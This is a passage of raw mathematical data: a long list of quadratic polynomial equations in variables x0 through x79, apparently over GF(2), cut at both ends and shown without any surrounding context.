x37*x63 + x37*x64 + x37*x65 + x37*x66 + x37*x67 + x37*x70 + x37*x71 + x37*x72 + x37*x74 + x37*x75 + x37*x77 + x38*x39 + x38*x43 + x38*x47 + x38*x49 + x38*x51 + x38*x52 + x38*x57 + x38*x59 + x38*x61 + x38*x66 + x38*x67 + x38*x68 + x38*x69 + x38*x70 + x38*x71 + x38*x73 + x38*x74 + x38*x75 + x38*x77 + x39*x40 + x39*x41 + x39*x42 + x39*x43 + x39*x44 + x39*x46 + x39*x47 + x39*x49 + x39*x52 + x39*x56 + x39*x57 + x39*x59 + x39*x60 + x39*x61 + x39*x62 + x39*x64 + x39*x65 + x39*x66 + x39*x67 + x39*x72 + x39*x73 + x39*x74 + x39*x75 + x39*x76 + x39*x78 + x39 + x40*x43 + x40*x44 + x40*x47 + x40*x49 + x40*x52 + x40*x55 + x40*x60 + x40*x61 + x40*x62 + x40*x69 + x40*x70 + x40*x72 + x40*x74 + x40*x77 + x40*x78 + x40*x79 + x41*x43 + x41*x45 + x41*x46 + x41*x47 + x41*x48 + x41*x50 + x41*x51 + x41*x53 + x41*x57 + x41*x61 + x41*x62 + x41*x64 + x41*x65 + x41*x66 + x41*x70 + x41*x71 + x41*x74 + x41*x75 + x41*x76 + x41*x78 + x41*x79 + x42*x46 + x42*x49 + x42*x52 + x42*x55 + x42*x57 + x42*x58 + x42*x60 + x42*x62 + x42*x63 + x42*x67 + x42*x68 + x42*x70 + x42*x75 + x42*x76 + x42*x77 + x43*x44 + x43*x45 + x43*x46 + x43*x47 + x43*x49 + x43*x50 + x43*x51 + x43*x53 + x43*x55 + x43*x56 + x43*x57 + x43*x61 + x43*x63 + x43*x64 + x43*x66 + x43*x67 + x43*x68 + x43*x69 + x43*x70 + x43*x75 + x43*x76 + x43*x78 + x43 + x44*x46 + x44*x48 + x44*x53 + x44*x55 + x44*x57 + x44*x62 + x44*x64 + x44*x66 + x44*x67 + x44*x68 + x44*x73 + x44*x75 + x44*x78 + x44 + x45*x47 + x45*x50 + x45*x51 + x45*x52 + x45*x53 + x45*x54 + x45*x55 + x45*x56 + x45*x57 + x45*x58 + x45*x61 + x45*x64 + x45*x67 + x45*x69 + x45*x70 + x45*x72 + x45*x73 + x45*x77 + x45*x79 + x45 + x46*x51 + x46*x52 + x46*x53 + x46*x55 + x46*x61 + x46*x64 + x46*x66 + x46*x67 + x46*x68 + x46*x70 + x46*x72 + x46*x73 + x46*x76 + x46*x79 + x47*x48 + x47*x53 + x47*x56 + x47*x57 + x47*x61 + x47*x64 + x47*x65 + x47*x66 + x47*x67 + x47*x68 + x47*x70 + x47*x72 + x47*x73 + x47*x77 + x47*x78 + x47*x79 + x48*x49 + x48*x51 + x48*x52 + x48*x55 + x48*x56 + x48*x57 + x48*x58 + x48*x59 + x48*x60 + x48*x62 + x48*x63 + x48*x64 + x48*x69 + x48*x71 + x48*x72 + x48*x73 + x48*x76 + x48*x78 + x49*x51 + x49*x55 + x49*x56 + x49*x58 + x49*x60 + x49*x61 + x49*x66 + x49*x67 + x49*x69 + x49*x73 + x49*x74 + x49*x75 + x49*x76 + x49*x77 + x49 + x50*x55 + x50*x56 + x50*x57 + x50*x59 + x50*x62 + x50*x63 + x50*x67 + x50*x68 + x50*x69 + x50*x71 + x50*x74 + x50*x75 + x50*x77 + x50*x79 + x51*x52 + x51*x53 + x51*x56 + x51*x62 + x51*x66 + x51*x67 + x51*x68 + x51*x70 + x51*x71 + x51*x74 + x51*x75 + x51*x78 + x51*x79 + x52*x56 + x52*x57 + x52*x60 + x52*x62 + x52*x64 + x52*x65 + x52*x67 + x52*x70 + x52*x72 + x52*x73 + x52*x75 + x52*x79 + x53*x56 + x53*x57 + x53*x60 + x53*x61 + x53*x62 + x53*x65 + x53*x66 + x53*x67 + x53*x71 + x53*x76 + x53*x79 + x54*x55 + x54*x60 + x54*x64 + x54*x67 + x54*x70 + x54*x71 + x54*x72 + x54*x77 + x54 + x55*x62 + x55*x64 + x55*x67 + x55*x68 + x55*x69 + x55*x71 + x55*x74 + x55 + x56*x57 + x56*x58 + x56*x59 + x56*x63 + x56*x64 + x56*x66 + x56*x70 + x56*x74 + x56*x75 + x56*x78 + x56*x79 + x57*x58 + x57*x60 + x57*x61 + x57*x63 + x57*x64 + x57*x65 + x57*x66 + x57*x67 + x57*x69 + x57*x70 + x57*x73 + x57*x74 + x57*x75 + x57*x78 + x57*x79 + x57 + x58*x59 + x58*x61 + x58*x63 + x58*x64 + x58*x67 + x58*x68 + x58*x70 + x58*x71 + x58*x72 + x58*x73 + x58*x74 + x58*x75 + x58*x76 + x58*x77 + x58*x79 + x58 + x59*x60 + x59*x62 + x59*x63 + x59*x64 + x59*x65 + x59*x67 + x59*x68 + x59*x69 + x59*x70 + x59*x71 + x59*x74 + x59*x75 + x60*x61 + x60*x62 + x60*x63 + x60*x64 + x60*x65 + x60*x68 + x60*x69 + x60*x70 + x60*x73 + x60*x74 + x60*x75 + x60*x76 + x60*x77 + x60*x78 + x61*x62 + x61*x66 + x61*x67 + x61*x73 + x61*x76 + x61*x77 + x61*x79 + x61 + x62*x63 + x62*x64 + x62*x65 + x62*x69 + x62*x70 + x62*x74 + x62*x75 + x62*x76 + x62 + x63*x66 + x63*x67 + x63*x70 + x63*x72 + x63*x74 + x63*x79 + x64*x67 + x64*x68 + x64*x69 + x64*x70 + x64*x72 + x64*x76 + x64*x77 + x64*x78 + x65*x68 + x65*x69 + x65*x70 + x65*x75 + x65*x76 + x65*x79 + x66*x68 + x66*x69 + x66*x70 + x66*x71 + x66*x73 + x66*x75 + x66*x77 + x66*x78 + x66*x79 + x67*x68 + x67*x69 + x67*x71 + x67*x72 + x67*x73 + x67*x74 + x67*x75 + x67*x77 + x67*x78 + x67 + x68*x69 + x68*x70 + x68*x71 + x68*x75 + x68*x77 + x68*x79 + x69*x70 + x69*x71 + x69*x73 + x69*x74 + x69*x76 + x69*x77 + x69*x78 + x69*x79 + x70*x71 + x70*x75 + x70*x78 + x70 + x71*x72 + x71*x75 + x71*x77 + x71*x78 + x71 + x72*x73 + x72*x76 + x72*x78 + x72*x79 + x72 + x73*x77 + x73*x79 + x73 + x74*x77 + x74*x78 + x74 + x75*x78 + x76*x77 + x76*x78 + x76*x79 + x77*x78 + x77*x79 + x77 + x78*x79, x0*x2 + x0*x8 + x0*x9 + x0*x10 + x0*x12 + x0*x14 + x0*x15 + x0*x16 + x0*x18 + x0*x25 + x0*x26 + x0*x27 + x0*x29 + x0*x31 + x0*x34 + x0*x36 + x0*x38 + x0*x39 + x0*x41 + x0*x43 + x0*x45 + x0*x46 + x0*x50 + x0*x51 + x0*x56 + x0*x57 + x0*x58 + x0*x62 + x0*x63 + x0*x65 + x0*x66 + x0*x67 + x0*x69 + x0*x73 + x0*x74 + x0*x75 + x0*x77 + x0 + x1*x3 + x1*x6 + x1*x7 + x1*x9 + x1*x10 + x1*x13 + x1*x14 + x1*x17 + x1*x18 + x1*x19 + x1*x23 + x1*x26 + x1*x27 + x1*x29 + x1*x30 + x1*x31 + x1*x32 + x1*x35 + x1*x36 + x1*x37 + x1*x38 + x1*x41 + x1*x42 + x1*x43 + x1*x44 + x1*x45 + x1*x46 + x1*x48 + x1*x49 + x1*x50 + x1*x57 + x1*x58 + x1*x59 + x1*x66 + x1*x67 + x1*x68 + x1*x69 + x1*x73 + x1*x75 + x1*x77 + x1*x79 + x2*x3 + x2*x4 + x2*x5 + x2*x6 + x2*x8 + x2*x9 + x2*x10 + x2*x11 + x2*x12 + x2*x14 + x2*x15 + x2*x16 + x2*x18 + x2*x21 + x2*x23 + x2*x24 + x2*x25 + x2*x27 + x2*x29 + x2*x31 + x2*x33 + x2*x34 + x2*x35 + x2*x39 + x2*x42 + x2*x43 + x2*x47 + x2*x49 + x2*x50 + x2*x52 + x2*x53 + x2*x54 + x2*x57 + x2*x58 + x2*x60 + x2*x62 + x2*x64 + x2*x66 + x2*x67 + x2*x68 + x2*x69 + x2*x72 + x2*x73 + x2*x75 + x2*x76 + x2*x77 + x2*x79 + x3*x5 + x3*x6 + x3*x7 + x3*x8 + x3*x9 + x3*x10 + x3*x12 + x3*x15 + x3*x16 + x3*x18 + x3*x20 + x3*x21 + x3*x24 + x3*x26 + x3*x32 + x3*x33 + x3*x36 + x3*x39 + x3*x45 + x3*x46 + x3*x48 + x3*x50 + x3*x53 + x3*x54 + x3*x57 + x3*x58 + x3*x59 + x3*x60 + x3*x61 + x3*x62 + x3*x63 + x3*x64 + x3*x65 + x3*x66 + x3*x69 + x3*x70 + x3*x71 + x3*x72 + x3*x78 + x4*x10 + x4*x12 + x4*x16 + x4*x18 + x4*x19 + x4*x20 + x4*x21 + x4*x26 + x4*x27 + x4*x31 + x4*x32 + x4*x33 + x4*x34 + x4*x35 + x4*x36 + x4*x38 + x4*x41 + x4*x42 + x4*x47 + x4*x49 + x4*x50 + x4*x51 + x4*x52 + x4*x54 + x4*x56 + x4*x60 + x4*x61 + x4*x63 + x4*x64 + x4*x65 + x4*x66 + x4*x67 + x4*x70 + x4*x71 + x4*x72 + x4*x73 + x4*x74 + x4*x75 + x4*x76 + x4*x77 + x4*x78 + x4*x79 + x4 + x5*x6 + x5*x8 + x5*x9 + x5*x10 + x5*x11 + x5*x12 + x5*x18 + x5*x19 + x5*x25 + x5*x26 + x5*x27 + x5*x28 + x5*x31 + x5*x32 + x5*x33 + x5*x34 + x5*x35 + x5*x39 + x5*x40 + x5*x41 + x5*x42 + x5*x45 + x5*x47 + x5*x50 + x5*x53 + x5*x55 + x5*x57 + x5*x60 + x5*x64 + x5*x70 + x5*x73 + x5 + x6*x7 + x6*x13 + x6*x14 + x6*x16 + x6*x17 + x6*x19 + x6*x24 + x6*x25 + x6*x26 + x6*x27 + x6*x28 + x6*x29 + x6*x33 + x6*x34 + x6*x36 + x6*x37 + x6*x38 + x6*x39 + x6*x40 + x6*x45 + x6*x46 + x6*x47 + x6*x48 + x6*x49 + x6*x50 + x6*x51 + x6*x54 + x6*x56 + x6*x58 + x6*x59 + x6*x63 + x6*x64 + x6*x65 + x6*x68 + x6*x69 + x6*x70 + x6*x71 + x6*x74 + x6*x75 + x6*x77 + x6*x78 + x6*x79 + x6 + x7*x9 + x7*x10 + x7*x11 + x7*x13 + x7*x14 + x7*x16 + x7*x20 + x7*x24 + x7*x26 + x7*x28 + x7*x30 + x7*x31 + x7*x34 + x7*x39 + x7*x40 + x7*x43 + x7*x48 + x7*x51 + x7*x52 + x7*x53 + x7*x54 + x7*x55 + x7*x56 + x7*x60 + x7*x62 + x7*x63 + x7*x64 + x7*x65 + x7*x66 + x7*x71 + x7*x74 + x7*x75 + x7*x78 + x7*x79 + x7 + x8*x9 + x8*x10 + x8*x13 + x8*x16 + x8*x17 + x8*x20 + x8*x22 + x8*x23 + x8*x26 + x8*x29 + x8*x30 + x8*x32 + x8*x35 + x8*x36 + x8*x37 + x8*x38 + x8*x39 + x8*x41 + x8*x42 + x8*x43 + x8*x44 + x8*x46 + x8*x49 + x8*x51 + x8*x54 + x8*x57 + x8*x59 + x8*x62 + x8*x65 + x8*x66 + x8*x67 + x8*x70 + x8*x75 + x8*x78 + x8 + x9*x10 + x9*x12 + x9*x13 + x9*x16 + x9*x20 + x9*x21 + x9*x23 + x9*x24 + x9*x26 + x9*x27 + x9*x32 + x9*x33 + x9*x34 + x9*x41 + x9*x43 + x9*x45 + x9*x47 + x9*x53 + x9*x54 + x9*x58 + x9*x59 + x9*x60 + x9*x62 + x9*x63 + x9*x65 + x9*x66 + x9*x67 + x9*x69 + x9*x72 + x9*x73 + x9*x75 + x9*x79 + x10*x13 + x10*x15 + x10*x16 + x10*x17 + x10*x18 + x10*x27 + x10*x30 + x10*x31 + x10*x33 + x10*x34 + x10*x39 + x10*x44 + x10*x48 + x10*x49 + x10*x50 + x10*x51 + x10*x53 + x10*x54 + x10*x57 + x10*x59 + x10*x64 + x10*x65 + x10*x66 + x10*x68 + x10*x70 + x10*x73 + x10*x75 + x10*x76 + x10*x78 + x10*x79 + x11*x15 + x11*x16 + x11*x18 + x11*x20 + x11*x21 + x11*x23 + x11*x24 + x11*x25 + x11*x27 + x11*x30 + x11*x32 + x11*x38 + x11*x39 + x11*x40 + x11*x41 + x11*x42 + x11*x43 + x11*x44 + x11*x46 + x11*x47 + x11*x48 + x11*x50 + x11*x51 + x11*x52 + x11*x53 + x11*x56 + x11*x57 + x11*x58 + x11*x59 + x11*x60 + x11*x63 + x11*x64 + x11*x66 + x11*x67 + x11*x69 + x11*x70 + x11*x71 + x11*x73 + x11*x74 + x11*x75 + x11*x77 + x11*x78 + x11*x79 + x12*x13 + x12*x15 + x12*x17 + x12*x18 + x12*x20 + x12*x22 + x12*x23 + x12*x27 + x12*x28 + x12*x30 + x12*x31 + x12*x35 + x12*x38 + x12*x39 + x12*x41 + x12*x44 + x12*x47 + x12*x48 + x12*x50 + x12*x52 + x12*x53 + x12*x54 + x12*x55 + x12*x58 + x12*x60 + x12*x61 + x12*x64 + x12*x68 + x12*x70 + x12*x73 + x12*x74 + x12*x77 + x12*x79 + x12 + x13*x14 + x13*x15 + x13*x16 + x13*x17 + x13*x18 + x13*x19 + x13*x21 + x13*x24 + x13*x27 + x13*x31 + x13*x32 + x13*x33 + x13*x34 + x13*x35 + x13*x36 + x13*x38 + x13*x39 + x13*x43 + x13*x48 + x13*x49 + x13*x53 + x13*x55 + x13*x56 + x13*x57 + x13*x60 + x13*x61 + x13*x62 + x13*x65 + x13*x67 + x13*x73 + x13*x74 + x13*x76 + x13*x77 + x13*x78 + x13*x79 + x14*x21 + x14*x22 + x14*x23 + x14*x24 + x14*x26 + x14*x29 + x14*x32 + x14*x33 + x14*x35 + x14*x36 + x14*x37 + x14*x41 + x14*x45 + x14*x46 + x14*x47 + x14*x48 + x14*x50 + x14*x53 + x14*x54 + x14*x55 + x14*x56 + x14*x58 + x14*x59 + x14*x60 + x14*x61 + x14*x62 + x14*x64 + x14*x67 + x14*x68 + x14*x70 + x14*x71 + x14*x72 + x14*x73 + x14*x74 + x14*x75 + x14*x77 + x14*x78 + x14*x79 + x14 + x15*x16 + x15*x18 + x15*x21 + x15*x27 + x15*x31 + x15*x32 + x15*x34 + x15*x35 + x15*x36 + x15*x38 + x15*x40 + x15*x41 + x15*x42 + x15*x43 + x15*x44 + x15*x49 + x15*x52 + x15*x57 + x15*x58 + x15*x59 + x15*x60 + x15*x61 + x15*x65 + x15*x67 + x15*x68 + x15*x69 + x15*x70 + x15*x71 + x15*x79 + x16*x17 + x16*x18 + x16*x21 + x16*x22 + x16*x23 + x16*x28 + x16*x29 + x16*x32 + x16*x34 + x16*x35 + x16*x37 + x16*x38 + x16*x39 + x16*x42 + x16*x44 + x16*x45 + x16*x47 + x16*x49 + x16*x51 + x16*x53 + x16*x58 + x16*x60 + x16*x63 + x16*x69 + x16*x72 + x16*x73 + x16*x74 + x16*x77 + x16*x78 + x16*x79 + x17*x20 + x17*x23 + x17*x24 + x17*x32 + x17*x34 + x17*x37 + x17*x39 + x17*x41 + x17*x42 + x17*x49 + x17*x50 + x17*x51 + x17*x52 + x17*x53 + x17*x54 + x17*x57 + x17*x58 + x17*x61 + x17*x62 + x17*x65 + x17*x69 + x17*x70 + x17*x73 + x17*x74 + x17*x75 + x17*x76 + x18*x20 + x18*x21 + x18*x22 + x18*x23 + x18*x25 + x18*x26 + x18*x27 + x18*x29 + x18*x31 + x18*x32 + x18*x34 + x18*x36 + x18*x37 + x18*x39 + x18*x40 + x18*x41 + x18*x42 + x18*x45 + x18*x46 + x18*x48 + x18*x50 + x18*x51 + x18*x52 + x18*x55 + x18*x56 + x18*x57 + x18*x58 + x18*x59 + x18*x61 + x18*x62 + x18*x64 + x18*x65 + x18*x67 + x18*x68 + x18*x69 + x18*x70 + x18*x71 + x18*x72 + x18*x79 + x18 + x19*x21 + x19*x23 + x19*x24 + x19*x25 + x19*x26 + x19*x27 + x19*x29 + x19*x35 + x19*x38 + x19*x45 + x19*x46 + x19*x47 + x19*x50 + x19*x51 + x19*x52 + x19*x53 + x19*x54 + x19*x55 + x19*x56 + x19*x60 + x19*x62 + x19*x63 + x19*x64 + x19*x66 + x19*x67 + x19*x71 + x19 + x20*x21 + x20*x22 + x20*x24 + x20*x27 + x20*x30 + x20*x33 + x20*x38 + x20*x39 + x20*x40 + x20*x41 + x20*x42 + x20*x44 + x20*x45 + x20*x46 + x20*x47 + x20*x49 + x20*x50 + x20*x51 + x20*x52 + x20*x54 + x20*x55 + x20*x56 + x20*x61 + x20*x63 + x20*x64 + x20*x68 + x20*x70 + x20*x74 + x20*x76 + x20*x79 + x21*x23 + x21*x27 + x21*x28 + x21*x29 + x21*x30 + x21*x31 + x21*x32 + x21*x33 + x21*x37 + x21*x38 + x21*x41 + x21*x42 + x21*x44 + x21*x47 + x21*x49 + x21*x51 + x21*x52 + x21*x53 + x21*x54 + x21*x55 + x21*x58 + x21*x60 + x21*x62 + x21*x64 + x21*x69 + x21*x72 + x21*x74 + x21*x75 + x21*x76 + x21*x77 + x21*x78 + x21*x79 + x21 + x22*x24 + x22*x28 + x22*x30 + x22*x31 + x22*x32 + x22*x34 + x22*x35 + x22*x36 + x22*x39 + x22*x40 + x22*x43 + x22*x44 + x22*x46 + x22*x47 + x22*x50 + x22*x51 + x22*x52 + x22*x53 + x22*x55 + x22*x65 + x22*x74 + x22*x76 + x22*x77 + x22*x78 + x23*x26 + x23*x27 + x23*x28 + x23*x29 + x23*x30 + x23*x32 + x23*x33 + x23*x36 + x23*x38 + x23*x39 + x23*x41 + x23*x42 + x23*x44 + x23*x48 + x23*x49 + x23*x54 + x23*x56 + x23*x59 + x23*x60 + x23*x63 + x23*x65 + x23*x66 + x23*x67 + x23*x68 + x23*x70 + x23*x71 + x23*x72 + x23*x73 + x23*x74 + x23*x75 + x23*x78 + x23 + x24*x26 + x24*x27 + x24*x28 + x24*x29 + x24*x34 + x24*x36 + x24*x37 + x24*x38 + x24*x39 + x24*x40 + x24*x42 + x24*x44 + x24*x45 + x24*x46 + x24*x49 + x24*x50 + x24*x55 + x24*x57 + x24*x60 + x24*x61 + x24*x63 + x24*x64 + x24*x66 + x24*x67 + x24*x69 + x24*x70 + x24*x75 + x24*x77 + x24*x78 + x24 + x25*x27 + x25*x31 + x25*x34 + x25*x36 + x25*x37 + x25*x39 + x25*x40 + x25*x45 + x25*x46 + x25*x47 + x25*x49 + x25*x51 + x25*x52 + x25*x53 + x25*x55 + x25*x56 + x25*x58 + x25*x64 + x25*x66 + x25*x67 + x25*x68 + x25*x71 + x25*x72 + x25*x73 + x25*x75 + x25 + x26*x29 + x26*x30 + x26*x31 + x26*x32 + x26*x34 + x26*x36 + x26*x37 + x26*x39 + x26*x41 + x26*x42 + x26*x45 + x26*x47 + x26*x52 + x26*x55 + x26*x57 + x26*x59 + x26*x61 + x26*x62 + x26*x63 + x26*x65 + x26*x66 + x26*x69 + x26*x70 + x26*x71 + x26*x74 + x26*x77 + x26*x78 + x26 + x27*x29 + x27*x31 + x27*x32 + x27*x34 + x27*x36 + x27*x41 + x27*x46 + x27*x47 + x27*x48 + x27*x49 + x27*x50 + x27*x51 + x27*x53 + x27*x54 + x27*x56 + x27*x57 + x27*x58 + x27*x59 + x27*x60 + x27*x61 + x27*x62 + x27*x63 + x27*x65 + x27*x71 + x27*x72 + x27*x74 + x27*x75 + x27*x77 + x27 + x28*x30 + x28*x32 + x28*x34 + x28*x35 + x28*x36 + x28*x37 + x28*x38 + x28*x39 + x28*x40 + x28*x45 + x28*x46 + x28*x47 + x28*x49 + x28*x50 + x28*x51 + x28*x54 + x28*x57 + x28*x58 + x28*x59 + x28*x61 + x28*x62 + x28*x63 + x28*x65 + x28*x66 + x28*x67 + x28*x69 + x28*x70 + x28*x74 + x28*x75 + x29*x33 + x29*x34 + x29*x38 + x29*x39 + x29*x42 + x29*x45 + x29*x52 + x29*x53 + x29*x55 + x29*x56 + x29*x58 + x29*x60 + x29*x61 + x29*x63 + x29*x64 + x29*x66 + x29*x67 + x29*x68 + x29*x69 + x29*x74 + x29*x75 + x29*x77 + x29*x78 + x29 + x30*x31 + x30*x32 + x30*x33 + x30*x36 + x30*x37 + x30*x38 + x30*x42 + x30*x44 + x30*x49 + x30*x50 + x30*x52 + x30*x54 + x30*x58 + x30*x59 + x30*x60 + x30*x62 + x30*x63 + x30*x64 + x30*x65 + x30*x67 + x30*x71 + x30*x74 + x30*x78 + x30*x79 + x30 + x31*x32 + x31*x34 + x31*x35 + x31*x36 + x31*x38 + x31*x39 + x31*x42 + x31*x45 + x31*x48 + x31*x49 + x31*x51 + x31*x54 + x31*x55 + x31*x58 + x31*x59 + x31*x60 + x31*x61 + x31*x62 + x31*x64 + x31*x65 + x31*x66 + x31*x67 + x31*x70 + x31*x72 + x31*x74 + x31*x78 + x31*x79 + x32*x33 + x32*x34 + x32*x35 + x32*x41 + x32*x43 + x32*x44 + x32*x46 + x32*x47 + x32*x48 + x32*x50 + x32*x55 + x32*x61 + x32*x62 + x32*x63 + x32*x67 + x32*x68 + x32*x69 + x32*x70 + x32*x71 + x32*x74 + x32*x75 + x32*x76 + x32*x77 + x32 + x33*x36 + x33*x37 + x33*x38 + x33*x40 + x33*x41 + x33*x42 + x33*x43 + x33*x45 + x33*x46 + x33*x47 + x33*x48 + x33*x49 + x33*x53 + x33*x54 + x33*x60 + x33*x61 + x33*x62 + x33*x64 + x33*x65 + x33*x66 + x33*x67 + x33*x70 + x33 + x34*x36 + x34*x37 + x34*x39 + x34*x40 + x34*x42 + x34*x43 + x34*x44 + x34*x46 + x34*x47 + x34*x48 + x34*x49 + x34*x51 + x34*x55 + x34*x56 + x34*x58 + x34*x59 + x34*x60 + x34*x66 + x34*x67 + x34*x71 + x34*x72 + x34*x74 + x34*x75 + x34*x76 + x34*x78 + x34*x79 + x35*x36 + x35*x38 + x35*x39 + x35*x44 + x35*x47 + x35*x49 + x35*x50 + x35*x51 + x35*x52 + x35*x53 + x35*x54 + x35*x64 + x35*x65 + x35*x66 + x35*x69 + x35*x71 + x35*x74 + x35*x78 + x35*x79 + x36*x37 + x36*x38 + x36*x40 + x36*x44 + x36*x47 + x36*x50 + x36*x51 + x36*x52 + x36*x54 + x36*x55 + x36*x56 + x36*x57 + x36*x60 + x36*x62 + x36*x63 + x36*x64 + x36*x65 + x36*x66 + x36*x67 + x36*x70 + x36*x71 + x36*x74 + x36*x78 + x37*x38 + x37*x39 + x37*x42 + x37*x46 + x37*x47 + x37*x48 + x37*x49 + x37*x53 + x37*x54 + x37*x55 + x37*x57 + x37*x63 + x37*x65 + x37*x67 + x37*x69 + x37*x71 + x37*x74 + x37*x76 + x37*x78 + x37*x79 + x37 + x38*x40 + x38*x41 + x38*x46 + x38*x53 + x38*x55 + x38*x57 + x38*x59 + x38*x63 + x38*x64 + x38*x65 + x38*x67 + x38*x68 + x38*x69 + x38*x71 + x38*x72 + x38*x73 + x38*x74 + x38*x75 + x39*x40 + x39*x41 + x39*x52 + x39*x53 + x39*x56 + x39*x59 + x39*x60 + x39*x61 + x39*x62 + x39*x63 + x39*x68 + x39*x69 + x39*x72 + x39*x73 + x39*x74 + x39*x75 + x39*x77 + x39*x78 + x39*x79 + x39 + x40*x41 + x40*x43 + x40*x46 + x40*x50 + x40*x51 + x40*x52 + x40*x53 + x40*x54 + x40*x55 + x40*x58 + x40*x60 + x40*x61 + x40*x63 + x40*x64 + x40*x65 + x40*x67 + x40*x69 + x40*x71 + x40*x72 + x40*x74 + x41*x44 + x41*x45 + x41*x46 + x41*x47 + x41*x49 + x41*x50 + x41*x53 + x41*x55 + x41*x59 + x41*x61 + x41*x64 + x41*x65 + x41*x68 + x41*x73 + x41*x75 + x41*x76 + x41*x77 + x42*x46 + x42*x47 + x42*x50 + x42*x51 + x42*x54 + x42*x55 + x42*x56 + x42*x57 + x42*x59 + x42*x60 + x42*x61 + x42*x63 + x42*x64 + x42*x69 + x42*x70 + x42*x71 + x42*x73 + x42*x75 + x42*x76 + x42*x77 + x42 + x43*x45 + x43*x46 + x43*x47 + x43*x48 + x43*x50 + x43*x53 + x43*x54 + x43*x55 + x43*x56 + x43*x59 + x43*x60 + x43*x62 + x43*x63 + x43*x69 + x43*x71 + x43*x73 + x43*x75 + x43*x76 + x43*x77 + x43*x78 + x43*x79 + x43 + x44*x46 + x44*x49 + x44*x54 + x44*x55 + x44*x56 + x44*x57 + x44*x63 + x44*x65 + x44*x69 + x44*x72 + x44*x74 + x44*x76 + x44*x79 + x45*x46 + x45*x48 + x45*x50 + x45*x52 + x45*x53 + x45*x54 + x45*x57 + x45*x60 + x45*x61 + x45*x64 + x45*x68 + x45*x72 + x45*x74 + x45*x76 + x45*x77 + x45*x78 + x45 + x46*x47 + x46*x49 + x46*x52 + x46*x53 + x46*x54 + x46*x56 + x46*x58 + x46*x60 + x46*x64 + x46*x65 + x46*x66 + x46*x67 + x46*x68 + x46*x69 + x46*x70 + x46*x71 + x46*x72 + x46*x75 + x47*x48 + x47*x49 + x47*x50 + x47*x51 + x47*x54 + x47*x58 + x47*x63 + x47*x64 + x47*x67 + x47*x68 + x47*x69 + x47*x70 + x47*x72 + x47*x74 + x47*x75 + x47*x76 + x47*x79 + x48*x49 + x48*x50 + x48*x51 + x48*x53 + x48*x55 + x48*x56 + x48*x60 + x48*x62 + x48*x64 + x48*x65 + x48*x66 + x48*x67 + x48*x68 + x48*x69 + x48*x71 + x48*x73 + x48*x74 + x48*x75 + x48*x76 + x48*x77 + x48*x78 + x49*x50 + x49*x52 + x49*x53 + x49*x54 + x49*x55 + x49*x56 + x49*x57 + x49*x58 + x49*x59 + x49*x62 + x49*x63 + x49*x64 + x49*x66 + x49*x67 + x49*x70 + x49*x74 + x49*x75 + x49*x76 + x49 + x50*x52 + x50*x55 + x50*x56 + x50*x57 + x50*x58 + x50*x59 + x50*x60 + x50*x61 + x50*x62 + x50*x63 + x50*x67 + x50*x70 + x50*x73 + x50*x76 + x50*x77 + x50*x78 + x51*x55 + x51*x57 + x51*x58 + x51*x68 + x51*x69 + x51*x72 + x51*x75 + x51*x76 + x51*x77 + x51*x79 + x52*x55 + x52*x56 + x52*x58 + x52*x59 + x52*x60 + x52*x62 + x52*x63 + x52*x65 + x52*x68 + x52*x69 + x52*x71 + x52*x75 + x52*x76 + x52*x77 + x52 + x53*x54 + x53*x55 + x53*x56 + x53*x61 + x53*x67 + x53*x68 + x53*x72 + x53*x74 + x53*x75 + x53*x76 + x53*x77 + x53*x79 + x53 + x54*x55 + x54*x61 + x54*x63 + x54*x67 + x54*x68 + x54*x70 + x54*x71 + x54*x73 + x54*x77 + x55*x57 + x55*x58 + x55*x59 + x55*x60 + x55*x61 + x55*x62 + x55*x63 + x55*x65 + x55*x66 + x55*x75 + x55*x77 + x56*x57 + x56*x61 + x56*x62 + x56*x65 + x56*x68 + x56*x72 + x56*x73 + x56*x78 + x56 + x57*x58 + x57*x61 + x57*x64 + x57*x72 + x57*x73 + x57*x74 + x57*x75 + x57*x76 + x57*x77 + x57*x78 + x58*x59 + x58*x61 + x58*x62 + x58*x65 + x58*x66 + x58*x67 + x58*x69 + x58*x73 + x58*x74 + x58*x76 + x58*x77 + x58*x79 + x59*x60 + x59*x64 + x59*x66 + x59*x67 + x59*x69 + x59*x70 + x59*x73 + x59*x75 + x59*x76 + x59*x77 + x59*x78 + x59*x79 + x60*x61 + x60*x63 + x60*x69 + x60*x72 + x60*x75 + x60*x77 + x60*x78 + x60 + x61*x64 + x61*x65 + x61*x66 + x61*x67 + x61*x69 + x61*x70 + x61*x71 + x61*x76 + x61*x78 + x61 + x62*x63 + x62*x64 + x62*x65 + x62*x66 + x62*x68 + x62*x69 + x62*x70 + x62*x71 + x62*x72 + x62*x73 + x62*x75 + x62*x77 + x62*x79 + x62 + x63*x68 + x63*x69 + x63*x71 + x63*x73 + x63*x76 + x63*x78 + x64*x66 + x64*x69 + x64*x72 + x64*x73 + x64*x74 + x64*x75 + x64*x76 + x64*x79 + x64 + x65*x67 + x65*x68 + x65*x69 + x65*x75 + x65*x78 + x65*x79 + x65 + x66*x69 + x66*x70 + x66*x72 + x66*x73 + x66*x77 + x66*x79 + x67*x68 + x67*x71 + x67*x74 + x67*x76 + x67 + x68*x69 + x68*x70 + x68*x72 + x68*x77 + x68*x79 + x69*x70 + x69*x71 + x69*x74 + x69*x75 + x70*x71 + x70*x74 + x70*x76 + x70*x77 + x70*x78 + x70*x79 + x70 + x71*x73 + x71*x74 + x71*x75 + x71*x76 + x71*x78 + x71*x79 + x72*x74 + x72 + x73*x74 + x73*x78 + x73*x79 + x73 + x74*x75 + x74*x76 + x74*x77 + x74*x78 + x75*x76 + x75*x77 + x75 + x76*x79 + x76 + x77*x79 + x79 + 1, x0*x3 + x0*x4 + x0*x6 + x0*x7 + x0*x11 + x0*x12 + x0*x14 + x0*x16 + x0*x17 + x0*x18 + x0*x20 + x0*x22 + x0*x24 + x0*x25 + x0*x27 + x0*x35 + x0*x36 + x0*x37 + x0*x38 + x0*x41 + x0*x43 + x0*x46 + x0*x47 + x0*x48 + x0*x51 + x0*x54 + x0*x55 + x0*x56 + x0*x59 + x0*x61 + x0*x62 + x0*x65 + x0*x68 + x0*x69 + x0*x70 + x0*x72 + x0*x78 + x0*x79 + x1*x2 + x1*x3 + x1*x4 + x1*x6 + x1*x7 + x1*x9 + x1*x11 + x1*x13 + x1*x14 + x1*x15 + x1*x16 + x1*x17 + x1*x18 + x1*x21 + x1*x22 + x1*x23 + x1*x25 + x1*x27 + x1*x28 + x1*x29 + x1*x30 + x1*x31 + x1*x33 + x1*x37 + x1*x38 + x1*x39 + x1*x40 + x1*x43 + x1*x45 + x1*x46 + x1*x48 + x1*x51 + x1*x52 